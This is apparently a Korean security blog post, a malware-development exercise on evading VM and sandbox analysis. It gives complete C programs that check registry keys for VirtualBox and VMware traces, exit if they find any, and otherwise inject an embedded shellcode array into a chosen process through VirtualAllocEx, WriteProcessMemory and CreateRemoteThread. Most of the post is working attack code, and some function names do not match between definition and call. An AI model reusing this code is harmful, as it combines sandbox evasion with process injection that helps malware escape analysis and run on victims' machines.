VM 엔진 우회 실습 1
실습환경: windows 10 21H2 64bit, windiws 7 service pack1 64bit
실습대상: Vmware
실습도구: visual studio 2022 17.1.1, regedit
참고: https://cocomelonc.github.io/
악성코드 개발 실습 3 FOR Persistence
여기 포스팅에서 레지스트리 관련 함수들 배운 겸, VM엔진 우회 실습도 이를 이용해서 해 보려고 한다.
VM엔진 우회가 무엇이냐하면..
어떤 실행파일 돌려보기 전에, VirtualBox에서 실행시켜봄으로써 악의적인 파일 여부를 탐지하는데, 이를 우회하기 위한 것이다.
코드는 VM엔진일경우, 악의적인 행위를 하는 코드가 실행되지 않도록 만들 것.
즉, VM엔진의 특징을 레지스트리에서 찾아서, 존재한다면 악의적인 코드 실행하지 않고 프로그램 종료.
먼저 저번에 공부했던 레지스트리 함수 복습!
RegOpenKeyEx()
RegSetValueEx()
RegQueryValueEx()
RegCloseKey()
이 친구들은 kernel32.dll이 제공하는 함수임.
LSTATUS RegOpenKeyEx( //지정한 레지스트리 키를 오픈
HKEY hKey,
LPCSTR lpSubKey, //옵션. 오픈할 레지스트리 하위 키 이름
DWORD ulOptions, // 키 오픈 시 적용할 옵션. 0 또는 REG_OPTION_OPEN_LINK(키가 심볼릭링크)
REGSAM samDesired, //오픈할 키에 대한 원하는 액세스 권한을 지정하는 마스크
PHKEY phkResult // hKey를 수신하는 변수에 대한 포인터.
);
LONG WINAPI RegSetValueEx( //키에 값 지정 시 사용
HKEY hKey,
LPCTSTR lpValueName, //해당 레지스트리 이름
DWORD lpReserved, //예약된 값. 0
DWORD dwType, //lpData에 들어있는 정보를 설정할 항목의 데이터 형식을 명시
const BYTE *lpData, //설정할 항목에 사용할 데이터가 들어있는 메모리 공간의 주소를 명시
BYTE *cbData, //lpData 매개변수에 사용한 메모리 공간의 크기를 명시
);
LONG RegQueryValueEx( //hKey를 이용하여 lpValueName에 명시된 항목 이름의 데이터 형식이나 내용을 얻는데 사용
HKEY hKey,
LPCTSTR lpValueName, //정보를 얻고자 하는 항목의 이름을 가지고 있는 문자열의 주소를 명시
LPDWORD lpReserved, //예약된 값. 0
LPDWORD lpType,
LPBYTE lpData, //항목의 값이 저장될 메모리 공간의 주소를 명시
LPDWORD lpcbData //lpData 매개변수에 사용한 메모리 공간의 크기를 기록한 변수의 주소
);
RegCloseKey(HKEY hKey) // 지정한 레지스트리 키에 접근가능한 핸들을 close. 성공시 0 반환
함수 설명
A. 레지스트리 키의 경로가 존재하는지를 확인.
있으면 true 없으면 false
int reg_keyEx(HKEY hKeyRoot, const char* lpSubKey) {
HKEY hKey = nullptr;
LONG ret = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
//오픈이 됨 → ERROR_SUCCESS 반환.
if (ret == ERROR_SUCCESS) {
RegCloseKey(hKey); //핸들닫고 리턴
return TRUE;
}
return FALSE;
}
B. 레지스트리 키 값을 확인.
RegQueryValueEx() 함수를 통해서 열려있는 레지스트리 키와 관련된 특정 값 데이터를 검색함. 아래 예제에서는 regVal(매개변수 중 하나) 이라는 값을 불러올 것.
int reg_key_cmp(HKEY hKeyRoot, const char* lpSubKey, const char* regVal, const char* compare) {
HKEY hKey = nullptr; //핸들이 개체를 가리키지 않음
LONG ret;
char value[1024];
DWORD size = sizeof(value);
ret = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
RegQueryValueEx(hKey, regVal, NULL, NULL, (LPBYTE)value, &size);
if (ret == ERROR_SUCCESS) {
if (strcmp(value, compare) == 0) {
return TRUE;
}
}
}
return FALSE;
}
C. 메인함수(VirsualBox VM 탐지 위한 메인함수)
int main(int argc, char* argv[]) {
HANDLE ph;
HANDLE rt;
PVOID rb;
if (reg_key_ex(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\FADT\\VBOX__")) {
printf("VirtualBox VM reg path value detected :(\n");
return -2;
}
if (reg_key_compare(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
"SystemProductName", "VirtualBox")) {
printf("VirtualBox VM reg key value detected :(\n");
return -2;
}
if (reg_key_compare(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
"BiosVersion", "VirtualBox")) {
printf("VirtualBox VM BIOS version detected :(\n");
return -2;
}
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
1. VirtualBox 탐지 방법에 대한 코드 - VirsualBox 관련 레지스트리를 이용해서
① HKEY_LOCAL_MACHINE이라는 루트키 내 "HARDWARE\ACPI\FADT\VBOX__" 라는 서브키가 존재한다면?
VM reg 경로 값 탐지" 메시지 출력
② HKEY_LOCAL_MACHINE 루트키에서 "SYSTEM\CurrentControl\Control\SystemInformation" 서브키 내에 있는 SystemProductName의 값 이름과 VirtualBox라는 값과 비교함.
일치 시 "VM 레지스트리 키 값이 탐지되었다." 출력
③ HKEY_LOCAL_MACHINE 루트키 내 "SYSTEM\CurrentControlSet\SystemInformation" 서브키 내에 있는 BiosVersion의 값 이름과 "VirtualBox" 값을 비교.
일치 시 "VM BIOS 버전이 탐지" 출력.
전체 코드
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x1e\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x59\x4f\x55\x20\x4a\x55\x53\x54\x20\x41\x43\x54\x49"
"\x56\x41\x54\x45\x44\x20\x4d\x59\x20\x54\x52\x41\x50\x20"
"\x43\x41\x52\x44\x00\x58\x5f\x58\x00";
unsigned int my_payload_len = sizeof(my_payload);
int reg_keyEx(HKEY hKeyRoot, const char* lpSubKey) {
HKEY hKey = nullptr;
LONG ret = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
//오픈이 됨 → ERROR_SUCCESS 반환.
if (ret == ERROR_SUCCESS) {
RegCloseKey(hKey); //핸들닫고 리턴
return TRUE;
}
return FALSE;
}
int reg_key_cmp(HKEY hKeyRoot, const char* lpSubKey, const char* regVal, const char* compare) {
HKEY hKey = nullptr; //핸들이 개체를 가리키지 않음
LONG ret;
char value[1024];
DWORD size = sizeof(value);
ret = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
RegQueryValueEx(hKey, regVal, NULL, NULL, (LPBYTE)value, &size);
if (ret == ERROR_SUCCESS) {
if (strcmp(value, compare) == 0) {
return TRUE;
}
}
}
return FALSE;
}
int main(int argc, char* argv[]) {
HANDLE ph;
HANDLE rt;
PVOID rb;
if (reg_key_ex(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\FADT\\VBOX__")) {
printf("VirtualBox VM reg path value detected :(\n");
return -2;
}
if (reg_key_compare(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
"SystemProductName", "VirtualBox")) {
printf("VirtualBox VM reg key value detected :(\n");
return -2;
}
if (reg_key_compare(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
"BiosVersion", "VirtualBox")) {
printf("VirtualBox VM BIOS version detected :(\n");
return -2;
}
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
VitualBox VM을 탐지하는 코드를 보았으니, 이제 내게 깔려있는 VMware를 탐지해보자.
그럼 VMware는 어떻게 탐지할 수 있을까?
2. VMware 탐지 방법
① VMware 관련 레지스트리 찾기 - 소프트웨어 정보
- HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE
- 코드 작성
② VMware 관련 레지스트리 찾기 - 하드웨어 정보
- HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0
- 코드 작성
③ VMware 관련 레지스트리 찾기 - 시스템 정보
- SYSTEM\CurrentControlSet\Control\SystemInformation
- 코드 작성
④ 이 외에도 다양한 VMware 관련 레지스트리를 찾을 수 있었다.
-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\SCSI
- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000
확실히 VM환경에서의 레지스트리 값(또는 폴더)과 호스트PC에서는 차이가 있었다.
VMware VM환경에서 해당 코드를 실행시키니 OpenProcess() 이하의 코드가 실행되지 않음.
즉, vm환경에서 먼저 돌려보는 것을 탐지함으로써.... 아예 악의적인 행위를 하는 코드를 실행시키지 않는 것.
전체 코드
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x1e\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x59\x4f\x55\x20\x4a\x55\x53\x54\x20\x41\x43\x54\x49"
"\x56\x41\x54\x45\x44\x20\x4d\x59\x20\x54\x52\x41\x50\x20"
"\x43\x41\x52\x44\x00\x58\x5f\x58\x00";
unsigned int my_payload_len = sizeof(my_payload);
int reg_keyEx(HKEY hKeyRoot, const char* lpSubKey) {
HKEY hKey = nullptr;
LONG ret = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
RegCloseKey(hKey);
return TRUE;
}
return FALSE;
}
int reg_key_cmp(HKEY hKeyRoot, const char* lpSubKey, const char* regVal, const char* compare) {
HKEY hKey = nullptr;
LONG ret;
char value[1024];
DWORD size = sizeof(value);
ret = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
RegQueryValueEx(hKey, regVal, NULL, NULL, (LPBYTE)value, &size);
if (ret == ERROR_SUCCESS) {
if (strstr(value, compare) != 0) { //strstr()함수사용
return TRUE;
}
}
}
return FALSE;
}
int main(int argc, char* argv[]) {
HANDLE ph;
HANDLE rt;
PVOID rb; // remote buffer
if (reg_keyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Clients\\StartMenuInternet\\VMWAREHOSTOPEN.EXE")) {
printf("VMware VM reg path value detected :(\n");
// return -2;
}
if (reg_key_cmp(HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 2\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0",
"Identifier", "VMware")) {
printf("VMware VM reg key value detected :(\n");
// return -2;
}
if (reg_key_cmp(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
"SystemProductName", "VMware")) {
printf("VMware VM System Product Name detected :(\n");
return -2;
}
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
VirtualBox 환경 우회에서는 strcmp를 사용했고, VMware 환경 우회에서는 strstr을 사용했다.
VMware 환경 우회할 때.. 해당 vm과 관련된 시스템 레지스트리 값에 "VMware"를 포함하고 있는 것을 찾기 위해서이다.
VirtualBox 환경은 "일치". VMware 환경은 "포함"
'System > TTPs' 카테고리의 다른 글
2. DLL Hijacking (0) | 2023.03.29 |
---|---|
1. Process Hollowing이란? (0) | 2023.03.29 |
UAC bypass 실습하다가 컴날림 (1) | 2022.07.15 |
AV 엔진 우회 2 (0) | 2022.06.11 |
AV 엔진 우회 실습 1 (0) | 2022.04.26 |